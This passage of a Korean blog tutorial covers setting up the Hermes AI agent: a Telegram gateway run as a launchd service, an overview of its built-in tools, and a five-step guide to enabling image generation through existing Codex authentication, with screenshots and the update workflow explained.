&lt;p data-ke-size=&quot;size16&quot;&gt;설정이 끝나면 &quot;Install the gateway as a launchd service?&quot;를 물어본다. Y를 누르면 &lt;code&gt;~/Library/LaunchAgents/ai.hermes.gateway.plist&lt;/code&gt;에 서비스가 등록되고, 맥을 재부팅해도 게이트웨이가 자동으로 올라온다. (Linux에서는 systemd로 등록된다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;Start the service now?&quot;에도 Y를 누르면 바로 시작된다. 이후 상태 확인과 로그는 다음 명령으로 가능하다:&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1470&quot; data-origin-height=&quot;456&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bNsAod/dJMcaadPpGX/PtxPLA9K1yR28S4jZjJkGK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bNsAod/dJMcaadPpGX/PtxPLA9K1yR28S4jZjJkGK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bNsAod/dJMcaadPpGX/PtxPLA9K1yR28S4jZjJkGK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbNsAod%2FdJMcaadPpGX%2FPtxPLA9K1yR28S4jZjJkGK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1470&quot; height=&quot;456&quot; data-origin-width=&quot;1470&quot; data-origin-height=&quot;456&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;hermes gateway status              # 게이트웨이 상태 확인
tail -f ~/.hermes/logs/gateway.log  # 실시간 로그 보기&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Telegram에서 봇에게 메시지를 보내본다. 응답이 오면 성공이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 하이 ~~ 라고 보내고 로그를 확인&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;852&quot; data-origin-height=&quot;1140&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bYZQy4/dJMcahYiTwy/kx53Gle5L1jb9gqRESYbuK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bYZQy4/dJMcahYiTwy/kx53Gle5L1jb9gqRESYbuK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bYZQy4/dJMcahYiTwy/kx53Gle5L1jb9gqRESYbuK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbYZQy4%2FdJMcahYiTwy%2Fkx53Gle5L1jb9gqRESYbuK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;465&quot; height=&quot;622&quot; data-origin-width=&quot;852&quot; data-origin-height=&quot;1140&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 로그에 찍히는 모습&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2120&quot; data-origin-height=&quot;532&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cpCfyE/dJMcahYiTzo/dPfaMB1Q59SaqSqbnEPQA0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cpCfyE/dJMcahYiTzo/dPfaMB1Q59SaqSqbnEPQA0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cpCfyE/dJMcahYiTzo/dPfaMB1Q59SaqSqbnEPQA0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcpCfyE%2FdJMcahYiTzo%2FdPfaMB1Q59SaqSqbnEPQA0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2120&quot; height=&quot;532&quot; data-origin-width=&quot;2120&quot; data-origin-height=&quot;532&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; - 응답이 왔다. 연결 성공~!&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;858&quot; data-origin-height=&quot;1142&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dT6B3L/dJMcabcG82R/Z4ZTbjJYnnkKESv1vxWDWk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dT6B3L/dJMcabcG82R/Z4ZTbjJYnnkKESv1vxWDWk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dT6B3L/dJMcabcG82R/Z4ZTbjJYnnkKESv1vxWDWk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdT6B3L%2FdJMcabcG82R%2FZ4ZTbjJYnnkKESv1vxWDWk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;454&quot; height=&quot;604&quot; data-origin-width=&quot;858&quot; data-origin-height=&quot;1142&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 12px 15px; margin: 10px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;보안 주의&lt;/b&gt;: &lt;code&gt;TELEGRAM_ALLOWED_USERS&lt;/code&gt;를 반드시 설정하라. 비워두면 기본적으로 &lt;b&gt;모든 사용자가 거부&lt;/b&gt;된다. 봇 토큰이 유출됐다면 BotFather에서 &lt;code&gt;/revoke&lt;/code&gt;로 즉시 폐기하라.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 Telegram에서 &quot;현재 프로젝트 상태 요약해줘&quot;라고 보내면 에이전트가 서버에서 실행하고 결과를 돌려준다. cron과 결합하면 &quot;매일 아침 9시에 AI 뉴스 요약을 Telegram으로 보내줘&quot; 같은 자동화도 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;40+ 내장 도구&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;README에는 &quot;40개 이상&quot;이라고 적혀 있는데, 실제로 &lt;code&gt;tools/&lt;/code&gt; 디렉토리를 열어보면 Python 파일이 50개 넘게 들어 있다(2026-04-07 기준). 파일 실행, 웹 검색, 코드 편집 같은 기본기부터 브라우저 제어, 이미지 분석까지 범위가 넓다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Image Generation 연결하기 : Codex 인증 5단계&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;도구 중 Image Generation은 외부 공급자 연결이 필요하다. &lt;code&gt;hermes tools&lt;/code&gt; 메뉴에서 공급자와 인증을 지정하면 바로 쓸 수 있다. 가장 간편한 방법은 이미 로그인된 Codex 인증을 재사용하는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 1: 먼저 업데이트&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;hermes update&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설정을 바꾸기 전에 업데이트부터 하는 습관을 들이자. 빠른 릴리즈 사이클(3~5일 간격) 특성상, 구 버전에서 공급자 설정이 달리 동작할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) &amp;gt; hermes update&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1276&quot; data-origin-height=&quot;348&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/IJQ0l/dJMcabcTgtf/LszKhp4QHnsasIFE5ID71K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/IJQ0l/dJMcabcTgtf/LszKhp4QHnsasIFE5ID71K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/IJQ0l/dJMcabcTgtf/LszKhp4QHnsasIFE5ID71K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FIJQ0l%2FdJMcabcTgtf%2FLszKhp4QHnsasIFE5ID71K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1276&quot; height=&quot;348&quot; data-origin-width=&quot;1276&quot; data-origin-height=&quot;348&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;업데이트 흐름은 단순히 최신 코드를 내려받는 것 이상이다. 로컬 수정사항이 있을 경우 아래 단계를 자동으로 처리한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f8f8; border: 1px solid #ddd; border-radius: 8px; padding: 16px 20px; margin: 12px 0; font-size: 15px;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;① 로컬 변경사항 자동 스태시&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로컬 수정이 감지되면 pull 전에 자동으로 &lt;code&gt;git stash&lt;/code&gt;를 실행해 변경사항을 보존한다. 스태시 ref는 화면에 출력되므로 나중에 그대로 복원할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;② 최신 커밋 pull&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;업스트림에서 새 커밋을 받아온다. 빠른 릴리즈 사이클 특성상 수백~수천 개의 커밋이 한 번에 들어오는 경우도 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;③ 스태시 복원 시도 &amp;rarr; 충돌 가능&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;Restore local changes now?&quot; 프롬프트에서 Y를 선택하면 stash pop을 시도한다. 업스트림 변경과 충돌이 생기면 충돌 파일 목록을 보여주고, 스태시는 그대로 유지된다(&lt;i&gt;nothing is lost&lt;/i&gt;).&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;④ 클린 상태로 리셋&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;충돌 발생 시 &quot;Reset working tree to clean state?&quot; 프롬프트가 뜬다. Y를 선택하면 working tree를 깨끗한 상태로 되돌려 Hermes가 바로 실행 가능한 상태가 된다. 로컬 수정은 스태시에 남아 있으므로 작업을 잃지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;⑤ 수동 복원&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나중에 로컬 수정을 다시 적용하려면 출력된 stash ref를 사용한다.&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 12px; border-radius: 6px; overflow-x: auto; margin-top: 6px;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;git stash apply &amp;lt;stash-ref&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 12px 15px; margin: 10px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;⚠ 충돌이 두렵다면&lt;/b&gt;: 공급자 설정 변경 전에 로컬 수정사항을 커밋하거나 별도 브랜치에 백업해두면 충돌 없이 클린하게 업데이트할 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 나의 경우 hermes agent 기본 model도 codex 5.5로 변경 해보려한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&amp;gt; hermes model : Oepnai Codex 선택&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1320&quot; data-origin-height=&quot;1008&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b7vJDb/dJMcaf0Fp2d/IMNIKyK34C5FNQ2TeD9yHk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b7vJDb/dJMcaf0Fp2d/IMNIKyK34C5FNQ2TeD9yHk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b7vJDb/dJMcaf0Fp2d/IMNIKyK34C5FNQ2TeD9yHk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb7vJDb%2FdJMcaf0Fp2d%2FIMNIKyK34C5FNQ2TeD9yHk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1320&quot; height=&quot;1008&quot; data-origin-width=&quot;1320&quot; data-origin-height=&quot;1008&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- gpt-5.5 선택&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1150&quot; data-origin-height=&quot;518&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lSOgi/dJMcagyvD8i/uJx4VVPmUmlBcmkHChl3Z1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lSOgi/dJMcagyvD8i/uJx4VVPmUmlBcmkHChl3Z1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lSOgi/dJMcagyvD8i/uJx4VVPmUmlBcmkHChl3Z1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlSOgi%2FdJMcagyvD8i%2FuJx4VVPmUmlBcmkHChl3Z1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1150&quot; height=&quot;518&quot; data-origin-width=&quot;1150&quot; data-origin-height=&quot;518&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;754&quot; data-origin-height=&quot;48&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/5hkAP/dJMcabRv367/Iaqzle6msEc3QbYcEFpptk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/5hkAP/dJMcabRv367/Iaqzle6msEc3QbYcEFpptk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/5hkAP/dJMcabRv367/Iaqzle6msEc3QbYcEFpptk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F5hkAP%2FdJMcabRv367%2FIaqzle6msEc3QbYcEFpptk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;471&quot; height=&quot;30&quot; data-origin-width=&quot;754&quot; data-origin-height=&quot;48&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 2: tools 메뉴 진입&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;hermes tools&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실행하면 인터랙티브 메뉴가 뜬다.&lt;/p&gt;
&lt;pre class=&quot;vim&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;hermes tools
  Manage tools
&amp;gt; Reconfigure an existing tool's provider or API key    &amp;larr; 여기 선택
  View tool status&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) &amp;gt; hermes tools&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 위처럼 선택&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;852&quot; data-origin-height=&quot;222&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/MZh95/dJMcahjWyRH/B892fftJVm5fOTUhT8wGpk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/MZh95/dJMcahjWyRH/B892fftJVm5fOTUhT8wGpk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/MZh95/dJMcahjWyRH/B892fftJVm5fOTUhT8wGpk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FMZh95%2FdJMcahjWyRH%2FB892fftJVm5fOTUhT8wGpk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;411&quot; height=&quot;107&quot; data-origin-width=&quot;852&quot; data-origin-height=&quot;222&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 3: 기존 tool 설정 다시 고르기&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;Reconfigure an existing tool's provider or API key&quot;를 선택한다. 이미 설치된 도구 중 공급자나 API 키를 바꾸고 싶은 항목을 이 메뉴에서 재설정한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 4: Image Generation tool 선택&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;vim&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;Select a tool
  Code Analysis
&amp;gt; Image Generation    &amp;larr; 선택
  Web Search
  Data Analysis&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;294&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dHaKJ1/dJMcahYvfn1/6TXZzjaVRD20WY9kbMhix1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dHaKJ1/dJMcahYvfn1/6TXZzjaVRD20WY9kbMhix1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dHaKJ1/dJMcahYvfn1/6TXZzjaVRD20WY9kbMhix1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdHaKJ1%2FdJMcahYvfn1%2F6TXZzjaVRD20WY9kbMhix1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;546&quot; height=&quot;201&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;294&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 5: 인증 공급자 선택 &amp;rarr; 완료&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;vim&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;Image Generation
  Select authentication provider
&amp;gt; codex auth    &amp;larr; 선택
  Other providers&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;codex auth&quot;를 고르면 이미 로그인된 Codex 자격증명을 그대로 재사용한다. 별도 API 키 입력 없이 끝난다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1366&quot; data-origin-height=&quot;238&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/U8IeN/dJMcaf7rqHE/MDhiA52OiMY4rn25lUfBG0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/U8IeN/dJMcaf7rqHE/MDhiA52OiMY4rn25lUfBG0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/U8IeN/dJMcaf7rqHE/MDhiA52OiMY4rn25lUfBG0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FU8IeN%2FdJMcaf7rqHE%2FMDhiA52OiMY4rn25lUfBG0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1366&quot; height=&quot;238&quot; data-origin-width=&quot;1366&quot; data-origin-height=&quot;238&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1540&quot; data-origin-height=&quot;210&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cotA0b/dJMcacbPsf3/lvGypdbfjqgYP8ncCKkCaK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cotA0b/dJMcacbPsf3/lvGypdbfjqgYP8ncCKkCaK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cotA0b/dJMcacbPsf3/lvGypdbfjqgYP8ncCKkCaK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcotA0b%2FdJMcacbPsf3%2FlvGypdbfjqgYP8ncCKkCaK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1540&quot; height=&quot;210&quot; data-origin-width=&quot;1540&quot; data-origin-height=&quot;210&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f7ff; border-left: 4px solid #0066cc; padding: 15px; margin: 15px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;설정 후 사용 방법&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설정이 끝나면 Hermes CLI에서 자연어로 이미지 생성을 요청할 수 있다.&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 12px; border-radius: 6px; overflow-x: auto; margin-top: 8px;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;&amp;gt; &quot;AI로 일하는 스마트한 습관을 주제로 카드뉴스 이미지 만들어줘&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;에이전트가 Image Generation 도구를 호출해 이미지를 생성하고 결과 경로를 돌려준다. cron과 결합하면 정기 뉴스레터용 이미지 자동 생성도 가능하다.&lt;br /&gt;&lt;br /&gt;ex)&lt;/p&gt;
